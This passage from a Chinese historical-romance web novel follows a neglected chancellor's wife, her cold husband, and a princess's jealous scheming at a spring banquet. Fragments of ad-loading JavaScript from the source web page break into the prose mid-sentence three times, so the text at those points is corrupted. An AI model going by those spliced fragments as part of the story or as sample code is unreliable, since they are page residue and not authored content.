夜深人静,耿婳守着一桌子凉透的晚饭,静静候在座位上。她不知道魏巍几时回来,又叫人把菜端回厨房热了热,等到热好的饭菜再次发凉,窗外柳枝上叽叽喳喳的鸟雀都飞走了,魏巍还没回来。 “相爷日理万机,也许被什么事绊住了。”青烟劝慰道,“夫人快些用膳,早点休息才好。” 耿婳饿过了劲,胃里和心里一样空落落的。她什么也吃不下。 她好累,头又昏又沉,身子渐渐发冷,连说话的力气都要没了。 “撤了饭,备水吧。” 她慢吞吞起身,刚要回内室更衣,却看到了廊檐上轩昂的人影。 耿婳愣神一瞬,欢喜回头。魏巍一袭紫袍,迈过门槛进了屋,正与她四目相对。 她压住不断上涌的兴奋,努力控制情绪,与他对视了好几息才想起礼数。 “大……相爷。”耿婳屈膝福礼。 她本来想叫夫君,可是周围丫鬟看着,她羞得厉害,没好意思。刚要唤他“大人”,可是又显得很疏离。于是折中叫了“相爷”。 魏巍走近,红黄相映的灯烛将她映照得格外昳丽。 大奉审美包容,美人亦分多种,或雍容华贵,或端庄贤淑,或清雅俏丽,或仙气脱俗,而耿婳诚然不在这些标尺范畴内。 她身姿妖娆,媚骨天成,像个随时勾引男人的妖魅。一点没有丞相夫人该有的体面端正。 “你怎么想的?一副妖精样儿在府门招摇,生怕别人注意不到?” 耿婳捏紧手里荷包,吓得不敢吭声。她很想说她只是在等他回家,并不是招摇。因为当家主母出现在府门口本来就不逾矩。 而且她不是故意打扮妖艳的,她没有化浓艳的妆,她天生就长了这副模样,卸了妆也是这个样儿。早知道他会嫌弃,她才不要长成这个样子! 耿婳窘得红了脸,眼神躲闪着偷看魏巍。 他的脸色在一点点冷下去。耿婳又害怕又委屈,她越是不说话,魏巍脸色越差。 最后,她只好解释:“不是招摇,是想等大人回府……” 耿婳继续嗫嚅:“以为您忙完春闱,下值就会回家的,所以才在门前等着。我也不知道……” “不知道不会问?鼻子下面长嘴干什么的。” 她被堵得哑口无言,泪水在眼里打转,喃喃道:“魏大人教训的是,妾 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身记下了。” 魏巍不悦地扫了她一眼,下一瞬又平复情绪,好像她根本不配他发火似的。 他这记眼神像一盆冷水兜头泼下,耿婳心底春丝被浇得一干二净。她的脸又红了起来,并非羞涩,而是羞耻。 她强忍头晕,低声:“妾身知错了,妾身下次不敢了。” 这一篇暂且掀过,魏巍瞥了眼一桌子满满当当的菜肴,一时失语。 她饭量这么大…… “还没吃?”他问。 耿婳心脏狂跳,说:“母亲说相爷下值后回来用膳,让我悉心预备着。” 借杨氏的由头,这样就显得她矜持些。 魏巍完全没注意她的小心思,他原本答应母亲要回府,临时又被许渊那帮人拉去饭局。当时情急推脱不得,确实该和母亲解释解释。 他没搭耿婳的茬,命令说:“十日后,公主府宴请群臣,随我一道去。” “端庄点,别再像今天一样闹笑话。”说罢离开了。 耿婳点点头。 原来他喜欢端庄的女子。她一定要变成那样的女子。 魏巍径直去给母亲请安。 杨氏照顾完老爷,就在明间一直等他。夜深露重,一人守着昏黄烛火,扶额眯着眼。 魏巍进门一瞬,杨氏就来了精神。他来不及行礼就被她拉到身边。 杨氏一见他就直掉眼泪:“看看你,瘦成什么样了。我就知道你随你爹,忙起来什么都不管不顾,冷一口热一口得瞎对付。都不知道照顾自己,玄海呢,我定要骂他。” “不怪玄海,他一向听我的,哪里管得了事。母亲不必担忧,孩儿忙完会试,就从政事堂搬回来。” “你那媳妇儿也是个不中用的,连你都照顾不好,你看你要是听娘的话,娶惜君妹妹怎么了。” 魏巍执意要娶个商人女回来,还不是被舆论架在火上烤,逼不得已的事嘛。 一想起这事,杨氏就懊悔不已。百年氏族竟然迎了个小门小户做正妻,纵使耿婳美得不似常人又怎样,与魏巍有夫妻之实又怎样,安排成偏房不就行了。 她倒好,占着名分不干正事,连夫君都留不住。以后开枝散叶更难说。 杨氏噘嘴道:“非要把正妻之位给她,哪里配得上你。” “母亲不必介怀。若为她着急上火,倒也不值。”魏巍轻轻把话翻篇,问道,“父亲近日可好?” “还是老样子,吃了药刚睡下。只怕换季旧疾复发。”杨氏叹口气,“你啊,可要仔细些,操劳公事一定注意修养,千万别学了他。” 从太爷那辈起魏家嫡子皆是一夫一妻,魏巍受此家风影响,从来没在情.爱上下过功夫,与功名利禄相比,婚姻本就是微不足道的小事,更没必要为女人劳心费神。 杨氏对儿媳意见颇多,魏巍倒显得从容不迫,甚至不慎在意。 有个娇美年幼的妻子安顿后宅,自己才好一心扑在公务上。这方面,魏巍和年轻时的魏徵如出一辙。 杨氏饶是惋惜:“惜君妹妹不比她懂事?” 魏巍只道:“我不娶耿婳,也娶不成她。” 杨氏差点忘了,还有怀安公主的事。因为耿婳,他放弃了赐婚。 8. 008 原来魏巍喜欢端庄典雅的女子。 魏巍走后,耿婳反思自己好久。 他教训得是,她以后再也不穿红裙子,再也不会打扮得跟妖精一样了。 魏巍虽然讨厌她,但至少愿意和她和颜悦色聊天了,甚至还帮她指出错处。这都是好兆头。 耿婳努力安慰自己。他日理万机,好不容易回趟家,她应该高兴才对。 忙碌了一整天,她此刻饥肠辘辘,只简单对付几口,就命人收拾走饭菜。 她要提前为夜里的事做准备。 耿婳吩咐青烟备水,又从柜子里取出里衣。她卸了耳铛,取下玉簪,把回门那天熹微姑姑给的药膏取出来,偷偷塞到枕头底下,然后坐在床边静静等待。 即使隔着浴房哗啦啦的水声,她也能听到心脏毫无节奏撞击胸脯的怦怦音。 不知道这次还会不会疼,耿婳摩挲着手心里的荷包,紧张又期待。她盼星星盼月亮才盼他来,终于不用独守空房啦。一会儿红绡帐暖,她要连同自己和这份寄托心意的荷包一起献给他。 耿婳洗漱好,穿上里衣等他。她早猜到他会去杨氏那里请安,但没想到会这么长时间不回来。 她受得风寒还没好,一整日食少事繁,头痛欲裂。眼下还要苦苦撑着,一会儿在他面前,更不能露出一点疲态。 不知过了多久,外面明间里传来脚步声响。 耿婳又惊又喜,小声唤了几句“夫君”,却不见人进门。 她疑惑地打开隔扇,却见魏巍身边的小厮玄海进屋了。 玄海一见耿婳,微愕。即使她一身雪白里衣,素面朝天,依然比青楼花魁还美艳。 他愣了一会儿,忽觉拿妓.女类比夫人不妥,赶紧撇下眼帘,行礼:“小人玄海,见、见过夫人。” 耿婳乖乖给他问好。 玄海挠挠头,嘿嘿一笑,有点不好意思起来。 耿婳又问:“我夫君呢?” 玄海道:“回夫人,相爷在书房忙着呢。命我把入睡前要点的紫檀香拿过去。” 耿婳愣了。半晌舔了一下嘴唇,“他不愿过来吗?” 她问完就觉得自己这么说很蠢。他都让下人来取安神香了,这不就是明摆着不想见她么。 人家分明就没想和她同床共枕,她还不死心偏要追问,显得多余又可笑。 玄海尴尬得不知如何回答。昏黑之中,他看不清耿婳低垂的脸上是何表情,只感觉她整张脸像个无底的黑洞。 “夫人找相爷有事?”他傻乎乎问。 耿婳葱指捏紧了手中荷包,强装笑脸道:“我见大人腰间空荡荡的,就绣了香囊给他。正好烦劳您送去。别的……倒也无事。” 玄海接过荷包,领命出去了。走在院子里,他借着月光观察纹竹荷包。 相爷不喜欢清雅秀丽的物件。这香囊哪怕绣得再精美,估计也入不了他的眼。 回了书房,玄海将紫檀香点燃,就把荷包交给了魏巍。 这么个清雅简约的什物,与魏巍书房里华美精致的各类藏品相比,显得那么微不足道。 魏巍看了两眼香囊,瞧模样像她自己绣的。他有点想笑,他是什么身份的人,怎么会允许这样的东西挂在腰间呢。 他捏了捏香囊,把它放到案边一角。 春闱还没结束,魏巍这几日忙完都回府。只不过与她分居两院,从不见面,更别说过夜了。 院里的下人看在眼里,都对她怠慢起来,不似之前热情听话。青烟也愈发得寸进尺,背地里和阿沁一起议论她这个倒霉主子。 自从那夜后,耿婳还病倒了。这下彻底成了院里的笑柄。 “同在一个院里相爷都不愿意见她,也难怪她相思成疾。” “原来跟着二奶奶,隔三岔五都有赏赐。现在倒好,什么都没有不说,偏偏还病倒给人添乱。” “欸,青烟姐姐你习惯就好。我跟你说,她这人从小身子弱,在耿家爹不疼娘不爱,混得跟个丧门星一样。” 温暖的春日里,耿婳躺在临窗的榻上,厚厚的锦被裹着身子,苍白的小脸上毫无血色。她接连头晕目眩了好几日,她羸弱到连睁眼都费劲。 刚从午憩里苏醒,她就听见窗外青烟和阿沁的指摘声。来不及为她们的话痛心,她现在喉管像被砂纸磨过一般,又痒又疼。 “水……青烟,青烟……水呢?” 窗外美人靠上嚼舌根的二人听了,一个撇着嘴,一个翻白眼。 青烟道:“就在旁边小案上,您能摸到。” 她说完,旁边阿沁就露出咯咯的脆笑。反正相爷从不来后院,她这个主子又是软柿子。这种夫妻模式下,最得意的就是她们这帮好吃懒做的下人。 “多谢……”耿婳用力支起半个身子,颤巍巍抬手去端早已凉透的茶壶。 耿婳两手捧着茶盅,咕嘟咕嘟一饮而尽。她以手肘擦干嘴角水渍,仿佛刚刚喝下去的是瑶池仙露。 喝完她又钻回被子,还好青烟把水放得近,不然她就要渴死了。凉就凉吧,至少有的喝。 高热已退,再好好休整几天肯定就好全了。她默默安慰着自己,可又难以抑制地泛起酸楚。她还真和母亲生前的境遇一样,凄凉失宠、无人无津。 耿婳浑身酸软无力,头晕脑热,一颗心也随着窗牖外喋喋不休的闲言碎语而颤抖。 原来女人丢了男人的爱,真就会沦为后宅的弃物。 努力屏蔽掉多余情绪,被窝里的她双手合十,做祷告状。她祈祷上苍让自己快点好起来。因为再过两日,她要和魏巍一起去公主府赴宴。 她必须好起来,不能给他丢人。 十日后,耿婳拖着尚未痊愈的身子,梳好发髻。魏巍派人送来了符合礼制的衣衫和头面,可见对这场春日宴有多重视。 耿婳因病略显憔悴,她拿胭脂在苍白的脸蛋上轻轻点涂了一层。起色好多了。 她又觉得唇色太浅,刚想抹唇纸,立刻想到上回魏巍教训她的话。她不能打扮得太浓艳,不然会像妖怪一样,不然他就更讨厌她了。 她照着镜子端详好久,总觉得嘴上少点什么,于是把唇纸藏进袖里,以备不时之需。 耿婳穿上魏巍给她准备的紫色衣裙,想到之前从教习嬷嬷那里学到的礼节——大奉官员出席重大场合时,夫妻须着同色衣衫,寓意同舟共济,宠辱与共。 耿婳怕魏巍等久了不耐烦,没敢磨蹭,随玄海引路去了书房。 哪怕即将出府,他仍在案边提笔处理公务。 眼前光影一暗,魏巍循着人影抬头望去。耿婳立在书房门前,衣着规整,温婉安静。 饶是对她熟悉,他也不由多看了一眼。十日不见,清瘦了不少。 “相爷。”她缓缓福身,耳铛轻摇出极其细微的弧度。 魏巍带她出了相府。瞥见她略浅的嘴唇,不解道:“没梳妆?” 语气还算温和。 耿婳微微诧异,她明明梳了的呀。 可他对女子化不化妆的判断好像只停留在口红上。她没有涂唇,所以就等于没化妆。 耿婳不敢怼他,她的绛唇是天生的,因为生病才略有些发浅。 她怕解释不清说错话,只道:“相爷教训的是。妾身备了唇纸,一会儿去马车上擦。” “无妨,这样也好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”其实,她梳不梳妆并不影响颜值。自然淡雅的妆面,更适合去今日这种大场面。 耿婳反复咀嚼他这句话,心里窃喜。这算不算是在夸她? 想到这儿,她连脚步也轻快了几分。 魏巍之所以如此重视,必然有自己的考量。 怀安公主是当今圣上的同母胞妹,自幼聪慧贤淑,倍受先帝喜爱。先帝特许她在东宫随哥哥一同拜入王司空门下学习策论经史。作为太子伴读,魏巍与她有几分同窗之谊。 先帝病逝前,她略施小计平复边疆叛乱。圣上大悦,加封为镇国公主,赐紫袍,实封三千户,一时权倾朝野。 她不拘礼节,不受世俗所困,为大奉女子束起一道新风。 只可惜,三年前怀安远赴方寸山清修,为母妃守孝,这才消失在大奉朝堂之上。近日她低调归京,又恰逢新政改革。这个节骨眼儿上邀请群臣入府共赏春日盛宴,明明别有用心。 此人不容小觑。事关朝政,魏巍必须重视。 “进了公主府,少说多听。”马车上,他这样对耿婳说。 耿婳用力点头:“好。” 富丽堂皇的公主府足足占了半条铜驼街,敕造的府邸气势恢宏,每一片瓦都在日光下熠熠生辉。 耿婳随魏巍一入府,许渊立刻迈步迎过来,“伯琳啊伯琳,不到点儿你是不肯提前一刻。” 一般人都是赶早不赶晚,魏巍永远都是卡着请帖上的约定时间到访。 他本是冲着魏巍来的,一走近不由被耿婳吸引,笑眯眯道:“你怎么一回一个样儿,回回都好看?” 耿婳不知道他这种场合还这般无礼,顿时窘得面生桃色,无地自容。她绞着葱根似的细指,求助一样仰头看了眼魏巍,又在魏巍回眸时快速垂下眼睫。 “你放肆。”魏巍扶住她的后腰,得意笑了。 “嘶——”许渊倒吸一口凉气,立刻起了一身鸡皮疙瘩。每次他笑,真比阎王爷给人拜年还渗得慌。 耿婳却没觉察异样,她只觉得魏巍笑得温润,比平时严肃时亲切多了,很好看。 他抬手帮她把鬓角发丝别至耳后,那只莹白小耳立刻染上一层粉红。 耿婳脸颊烫得能烙饼,心里比吃了蜜还要甜。即使知道他是在众人面前做戏,她也乐意享受这难得的美好。 许渊握拳干咳几声,嘟囔:“大庭广众的,都看着你们呢。” 此情此景,和平常人家新欢燕尔你侬我侬的小夫妻无异。 其他人相视一笑,看着这对璧人。 纵使是魏巍的政敌,也不由暗自感叹。小小的商户人家,竟能生出如此标致的绝色。别说情人眼里出西施,就算仇人眼里也一样是西施。 发乎情,止乎礼,惊鸿一瞥后,众人都避嫌似的躲开眼。 耿婳规矩向各位大人福礼,之后由女使引路去了女眷落脚的花厅。 这一礼一别,尽显大家闺秀之姿。 见到耿婳本人后,私底下对这门婚事闲言碎语的人好像被凭空扇了俩巴掌,各个脸肿得生疼,老实的不敢再嚼舌根。 魏巍环顾四周,问:“子元呢?” 许渊叹了口气,幽怨看他,心道:你好还意思问。 科举实行锁院制,凡是出题者,都要禁足幽闭,不得与外界串通。春闱一结束,汪子元的祖父才得以解脱,解了禁足。因他年迈体虚,一下又病倒。汪子元亲自侍疾,这才没能赴宴。 魏巍四平八稳道:“嗯,我倒把这事忘了,改日要去登门拜访。” 政务归政务,私交归私交,他一向拎得清。 许渊叹道:“你啊,真是不近人情。” 9. 009 春日宴于公主府举行,皇帝坐庄,礼部操办,宴请京城百官勋贵,为的是给公主寻个称心如意的驸马。 女眷于后院赏花品茗,官员则前厅吟诗宴饮。 耿婳独自站在水榭边安静观鱼,湖面里映出她的倒映。她病没好全,刚刚受了几阵风,脸色又苍白了些,唇色也变浅了。 她悄悄掏出唇纸,抿了一层。浅粉的嘴唇立刻饱满红润,宛若熟透的樱桃。 耿婳独自观鱼,倚着丞相夫人的头衔,有不少女客前来寒暄。这些人各怀鬼胎献着殷勤,把她围了个水泄不通。 耿婳小心翼翼应对,对每个人都和善有礼。这般谦和姿态,和外界风评截然不同。 或许魏巍愿意带她出来,是有意打破流言蜚语。 水榭二楼,怀安公主居高临下看着这一幕,幽幽开口:“唤她过来。” 不一会儿,耿婳随女使进了水榭,望见一抹雍容的背影。 “妾身见过公主殿下。” 怀安并没有回头,也没有发话。 耿婳不敢乱动,仍保持着福礼的姿态。过了几息,她悄悄望了女使一眼,那人抬抬下巴,示意她向前。 怀安公主坐在临近栏杆的红木圈椅上,旁边香几茶案陈列有序,她如无人打扰那般慢悠悠划着茶盖。 京城众臣会于府邸,她摆足架子,迟迟不露面。这排面气场,不由让耿婳纳闷,自己哪里有资格和这么尊贵的人物单独见面。 她走近些,保证自己出现在怀安的视线之内,然后再次自报家门。 “抬起头来,让本宫看看。”她实在好奇,什么人能入得了魏巍的眼。他这等身份的人要是不愿意娶,有的是办法独善其身。哪怕是和她御赐的婚事,还不是说推就推! 她倒要仔细看看,什么人敢截她的胡。 怀安光明正大端详耿婳,耿婳也在悄悄打量她。 头戴金步摇,身着紫红袍,这个女人从头发丝到脚趾间都散发着尊贵。更让她害怕的是,怀安的眼神——一双凤眸露着精明的光,一看就不是个好惹的。 这种气质和魏巍有几分相似。 怀安仔细看了她好一会儿,心里暗暗低落的同时竟生出几丝自卑感。自小养尊处优众星捧月,她不允许自己生出这般糟糕的情绪。 她面上丝毫不显,平静问:“你就是魏丞相的新迎娶的夫人?” “是。” “你家丞相近来可好?还忙到不归家么?” “回殿下,丞相忙完春闱,刚得空。” 怀安笑道:“他哪里会得空,他恨不能忙成个陀螺。” 耿婳的皮囊确实好看,可神色不济、气色不佳,一看就独守空房,不得夫君半点恩露。 怀安公主脑补完,支颌道:“丞相估计忙到连家都不回吧?”就算回去,相必也和她分室而居。 耿婳蜷缩的手指收得更紧。 她的一举一动都被怀安观察入眼。她最擅攻心,知道自己猜中了,暗含深意的笑了笑,“他啊,还是老样子。” 此话信息量极大。 怀安有意无意摸索着腰间的和田玉佩,故意引导耿婳看自己把玩的东西。 耿婳上次在采荷居外和她偶遇,就注意到了——那块成色极佳的和田玉佩,和魏巍遗落在床笫的一模一样。 傻子都看得出来,这是一对儿。 五脏六腑好像被注入铅水,耿婳僵在原地,脑子也嗡嗡乱响。 “伯琳喜欢吃什么,平日作息如何,有什么嗜好没有?”怀安公主一转话锋,开始盘问起她这个丞相夫人。 更让耿婳诧异的是,怀安直接唤出了魏巍的字。而她苍白着一张脸,一问三不知。 “本宫告诉你,伯琳爱吃鱼肉,无辣不欢。卯时作,三更后方息,平日时间观念极强,政务上公私分明,闲暇时偏爱收藏华美之物。” 怀安故意一字一顿,边说边注视着她。 耿婳的脸色从苍白到沉寂、再到空洞。她反复咀嚼着怀安公主的一番话,艰难开口道:“敢问殿下,为何……” “你是想问,本宫为何这般了解他?”怀安颇为得意地接过话。 她生怕耿婳不问,而今问了,她才不要亲自说。 旁边的丫鬟脆生生道:“夫人不知,我家殿下和魏丞相是青梅竹马,本来是御赐的好姻缘,只等殿下服丧结束办喜事儿,谁承想您横插一脚……” “放肆。”怀安训了她一句,又忙给耿婳赔不是。 后面热络的虚伪话,耿婳再也听不到了。清风拂面,吹得她失魂落魄。 原来他一直有心属之人。是她不知廉耻,毁了人家的姻缘。 耿婳是怎么走出水榭的,她自己也不知道。到了没人的地方,她轻轻掏出拔步床边捡到的玉佩。 成色极佳的白玉石被雕刻成鱼的形状,与怀安公主戴的那只正好登对,合在一起可以拼接出太极的图形。 她今日特意戴在身边,想亲自还给魏巍。 为什么刚才没有还回去。因为她留了个小心机,她想晚些时候还他,这样就还能和他有一次说话的机会。 另外一边,男客们围着假山流觞曲水。 方亭里的许渊一壶酒下肚,嘴巴直接变成漏勺:“圣上执意要为怀安定亲,这才摆了这席春日宴。” 魏巍不以为然:“醉翁之意不在酒。”怀安的回归,势必给翻涌的朝堂增加未知的波澜。这是大家都心知肚明的事。 许渊颓然道:“我爹已经提过亲了。” “恭喜恭喜。”魏巍笑道:“本相很想喝一杯大奉第一才子的喜酒。” 许渊哪觉得这是喜事!对他这种常年夜宿教坊司的人来说,娶谁都一样,反正他不着家。可一想到对方是怀安,许渊就唉声叹气。他放浪形骸,无拘无束,宁愿当牛马也不愿当驸马。 魏巍还在道喜,许渊气得斜睨她。 他这人,看着长了张白净斯文的好皮囊,割开肚皮却全是黑墨水。嘴上说要喝他喜酒,其实就是想拉拢公主这派势力,好为己所用,扶持新政。 算盘珠子就差蹦他脸上了! 许渊冷哼一声。就没什么是他这个官场老油条做不出来的。他心思缜密,城府颇深,若说疏漏,唯有婚姻。 魏巍劝他:“怀安殿下哪里不好?身份尊贵,秀外慧中……” 他笑得温润,到了许渊眼里就是猥琐。 “你怎么不娶?”许渊气道:“放着极品不要,娶个商女做累赘。” “你放肆。”魏巍收了笑,神情严肃,一看就是真动怒了。 他可以随便嫌弃耿婳,但别人不行。 纵使酒劲加持,许渊也不敢再多说一句,只能认了哑巴亏,而后心里大骂魏巍这个衣冠禽兽。 真是个自视清高,被人戳中心思就黑脸,死要面子表里不一的畜生! 见他一老实,魏巍继续输出:“你也老大不小了。” 他轻拍好友的肩,继续拱火。 许渊恨不能掐死他。 两人拉扯间,只听拐杖敲地,颠簸的脚步声愈来愈近。 魏巍率先反应过来,朝声源处望去。 刘理自月洞门而来,身着绯衣,手拄拐杖。 许渊正愁没处发火,一看是他,即刻从石桌上支起身。他冷笑一声,道:“呦,这不是大理寺少卿嘛,什么风儿把您吹来了。” 魏巍扫了眼昔日好友,身居高位之人,即使神色淡然,依然自带威慑力。他居高临下,姿态未改半分。这是在等刘理的礼数。 自年前他受了刑便一病不起,从此深居简出。 这还是头一回和他打照面。 那人也在看他,却不行礼。他变成瘸子后,皇帝为了缓和矛盾,命他非必要可省去缛节。 刘理腰板挺得很直,干巴巴道:“巧了,魏大人,许大人。” 这便是他的全部礼数了。 许渊一下就要急,却被魏巍按住肩。后者对玄海抬抬下巴。 玄海向刘理行礼,道:“刘大人,按我大奉礼节 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,下官见上官须折腰行礼,不得与齐肩。还请大人重新来过。” 许渊笑道:“这都能忘。莫不是这几个月在家养病,脑子养坏了?” “大人若是忘了,小的这就示范一次。”说罢,玄海快速向魏巍行作揖礼,姿势那叫一个标准。 刘理目眦尽裂。他被魏巍废了一条腿,弯腰作揖实属不便。这分明是在变相羞辱他这个瘸子! 魏巍平淡看着刘理。他不需要生气,锐利的压迫感就能莫名压得人喘不过气。他也不屑开口与这人说话,只是平静等待他的礼数。 官大一级压死人。这是封建礼教中注入血液的纲常,他不做也得做。 刘理忍着恨意和羞耻,将手杖递给侍从,弯腰行礼。他单腿难以支地,身形不稳,倒地前被身旁人眼疾手快地扶住了。 魏巍目色古井无波,只当遇见寻常事。也正常,自从当了丞相,每日在官场都要被人膜拜行礼,他虽然觉得烦,但久而久之也习惯了。 只是刘理行完礼,为何还不走。他不走,魏巍便不能和许渊畅所欲言。 魏巍这才正眼盯着刘理多看了一会儿,像是在问——还有何事? 刘理被他冷傲的轻慢态度激怒,切齿道:“数日不见,丞相风采依旧,还如年少时那般颐指气使、目中无人!” 与他相比,魏巍倒显得从容不迫。他平静如水道:“刘大人,别来无恙。” 这话换作以前听,或许是个不错的寒暄。可他明明有疾,如何能再听得了“无恙”一词? 魏巍这是在云淡风轻地讥讽他。 刘理气得目眦尽裂,拳头捏得青白。最后只能咬着牙,倚仗甩袖而去。 “哼,叛徒神奇什么?!”许渊得意冲他喊。 刘理不良于行,移速极慢,这话八成被他听进去了。 许渊喊完,又对嘴灌了大半瓶酒。他脸色酡红,哼哼唧唧说着什么昔日故人分道扬镳的伤感辞藻。一边说,一边把空荡荡的酒壶摔个粉碎。 魏巍不是多愁善感之人,也没有许渊这般敏感细腻的文人情绪。还没来得及扶好友起来,就见到有人围住刘理热络问安。 正此时,通报声响起,怀安公主移着莲步缓缓而来。 众人即刻肃静,纷纷施礼。 怀安于府中设宴,向来不喜繁文缛节,免礼后立刻摆起盛宴,舞乐兼备,雅俗共赏。她坐于上首,美眸含笑,与下首众宾客推杯换盏,大方谈笑。 许渊瞅着她悻悻道:“你瞧,又偷着看我呢。” “唉,也怪我太有才气,把她给迷住了。”他暗自烦恼。 魏巍抬眸,发现她确实往这边看。与怀安对视的一瞬,他淡淡移开了眼。 他夹了一口麻婆豆腐,仍觉有人默默注视。一抬头,又看她在朝他笑。魏巍警告地盯了她一眼。 怀安只当没看见,缓缓下台宾客答谢,一一敬酒。 “少卿近日可好,切莫为眼前琐事所累。”怀安关心刘理伤势。少女生得眉眼如画,娇美动人,雍容华贵。 刘理也不自觉朝她笑:“藓疥之疾,不足为虑。” 走到魏巍这里时,全场人虽在宴饮,却时不时把目光偷瞄过来。 “魏大人新婚燕尔,本宫的祝福迟了。”说完,她余光去瞥他革带,上面空空如也。 “有劳。”魏巍神色如常,又说了几句客套话,就算打发她了。 怀安指尖捏紧杯壁,不动声色又转去招呼许渊,寒暄完再没多说一句话,径直走开了。 许渊如释重负,乐呵呵低声说:“我好像逃过一截。” “嗯?”魏巍显然不懂他话中意思。 许渊差点忘了,他这人感情方面向来迟钝,哪怕真有开窍那天,自己都未必意识到。 “你没看她和刘理?”许渊点拨。 “她和刘理怎么?” 许渊:“……” 刚才他俩敬酒对饮,那叫一个含笑传情,眉目间竟是男女间的小心思。他这个人,怎么就没注意呢? 10. 010 酒后众人前去怀安公主的藏书阁赏画。大醉酩酊的许渊被魏巍扶进偏殿,约好明日午后去汪府看望子元祖父。 魏巍刚往外走,就看到回廊里等他的耿婳。 “怎么在这儿?”他本想去寻她。 一会儿不见,他感觉她比来时明艳了些。具体是哪里有了变化,他还没看出来。 耿婳道:“妾身在床上捡的,物归原主。” 魏巍接过玉佩,看了又看,好像还真是他的。再抬头看耿婳,正撞见她那双饱满红润的樱唇。 “你化妆了?”魏巍皱眉指指她的嘴唇,仔细想她来时的样子。好像来公主府前,她嘴巴不是这样。 耿婳以为他在生气,即刻转身拿帕子擦掉了那层口红,又马上给魏巍道歉。 其实魏巍刚才觉得,那样子还挺好看的。 “走吧。”他没多解释,迈步要带她去藏书阁,可身边少女迟迟未动。 魏巍扭头问:“不去看看?” 她有气无力地说:“我累了。” “嗯,我们回家。”他也不想在公主府多待,正好和她一起回府。 耿婳跟在他后面,面如死灰。两人间隔半个身位,默默而行,谁也不说话。 穿过抄手游廊后,魏巍也没发觉她不对劲。 正要继续往前走,怀安公主出现在视野之内。一双大眼睛正盯着他们两个笑,一看就是有备而来。 怀安公主饶有兴致地观察着这双新婚男女。 夫妻二人虽是俊男靓女,但气质迥然不同。 一个文人,一个妖精,像极了宁采臣和聂小倩。 只不过“宁采臣”实在冷硬威严,“聂小倩”过于怯懦胆小。两人站在一起,有股极强的割裂感。 好像八竿子打不着又被硬生生凑在一起。画风都不一样,真真是哪里都不登对。 魏巍拉住耿婳的手,道:“先去马车等我,一会儿就到。” 这就是要和他的老情人说悄悄话了。耿婳心里沉痛,嘴上却答应得利索。她从没走得这么快过,几乎是幻影移形般离开他们的视野。 她才不要在这里当人家的电灯泡。 怀安看她这副失魂落魄样儿,就知道攻心计有效。再一看魏巍手里捏的玉佩,心里大喜。 “我就知道,伯琳哥哥是重情重义之人。”她走近后说了这么一句。 魏巍问:“何意。” 怀安公主望望他手里的玉,笑道:“你忘了?” 他的脸上依旧没什么表情。 怀安公主意识到这人压根没想起来,漂亮的脸蛋上露出疑惑。她只好将自己佩戴的玉佩拿出来给他细看。 是一对儿。 魏巍想了想,难道是三年前怀安公主离京时硬塞给他的那块? “好像还真是殿下送的。” 怀安:“你……” 他不像装傻,只是真忘了。 魏巍觉得正常,那么久远的小事谁会记得。而且他本就不是心甘情愿收下玉佩的。 当时他常戴在身边的玉佩弄丢了,正好怀安在出京前塞给他一块。当着先帝的面儿,他哪儿能不给这小公主面子,只好收下。 而且,他当时不知道这玉佩有配对的另一半。 怀安不可思议道:“本殿下送你的东西,你竟忘记了?” 魏巍道:“臣对不喜欢的物件从不多看,望殿下宽恕。” 怀安公主气结。 他就不会说一句服软的话哄她吗?! 非要把最直白的话拿来伤人,平时在官场和人打交道不是很会左右逢源,游刃有余吗? “今日多谢殿下款待。家妻尚在府外等我,暂不奉陪。” 他行完礼,理所应当地走了。 怀安公主看着他远去的背影,又窘又气。须臾,却见魏巍又折回来。 她心里暗喜,傲娇地嗔他一眼。 “忘了物归原主。” 他说着竟要把玉佩还给她! “魏伯琳!”怀安切齿。 “何事。”虽然不知道她为何生气,但魏巍很是配合地问了一句。 “你当真不知我的心思?” 他就算再迟钝,也不可能不知道成对的玉佩是何种意义。 魏巍现在好像有点知道了,但是这和他有什么关系。他是有家室的人,要是和怀安公主有牵扯,必然被政敌抓住把柄,到时候瓜田李下,不好处理。 魏巍道:“回殿下,卑职心胸狭窄,装不下两个女人。” 怀安气红了眼,她死死捏着他还回来的玉佩,眼里闪着水光:“你当真那么喜欢她?我不信。” 魏家一向看重名节,魏巍又那般自傲,为何要娶个商户女,她就是不明白! 其中缘由,魏巍当然不会与她多说。只客套了几句熨帖话,就告辞了。 怀安恨恨望他远去,随后昂起头,使劲把热泪倒回去。 她气得连藏书阁都没去,回了屋焚香静思了好一会儿才稳定下来。 耿婳的身世,她早已派人查过。父亲是商贾,行商不检被大理寺彻查过好几次,一来二去攀上了大理寺少卿刘理这条大腿。 刘理与魏巍许渊少时都是太子身边的伴读,三人相识于东宫,也是同一年进的官场。与清廉为官的好友相比,刘理的道德底线可就灵活多了。 换句话说,他这种圆滑之人才最适应波谲云诡的皇城官场。 刘理因不满魏巍实行新政,曾与他发生口角。去年底魏巍奉旨彻查刑部贪污案,顺藤摸瓜把他揪了出来。 即使如此,刘理仍笃定魏巍会顾念旧情放他一马。然而等到的结果却恰恰相反。魏巍按照大奉法度,亲自监刑,生生断了他一条腿。 自此之后,两人彻底决裂。 这么一来,上元节青云楼魏巍和姽婳的露水之缘到底是谁策划的,就不言而喻了。 怀安眼波流转,福至心灵。 另一边,魏巍带耿婳回相府后,一头扎进书房。 春闱举子的真卷被他密押在书房暗室之中,尚未命人批阅。这次改革,他以试卷糊名和誊录的方式来防范舞弊。 没等玄海端来茶,魏巍直接进了暗室,今天下午他要将全部一百二十份试卷一一誊录糊名,没时间管别的。 与他用不完的精力相比,耿婳显然累坏了。她身心俱疲,病也没好全。躺进拔步床后,足足睡了两个多时辰才醒来。 一睁开眼睛,眼前浮现的就是怀安公主得意炫耀玉佩的模样。丫鬟脆生生的话语仿佛还在她耳畔回响。 公主半句话不怨她,可丫鬟说的每个字眼都在嫌恶她。 也是。人家丞相配公主,青梅竹马,天造地设,哪儿容她这个妖精撒野? 怪不得魏巍那么厌她,原来她才是那个最多余、最可恨的人。 回府的马车上,魏巍也没有解释他和怀安的关系。至于两人私下聊了什么,她哪里配知道。 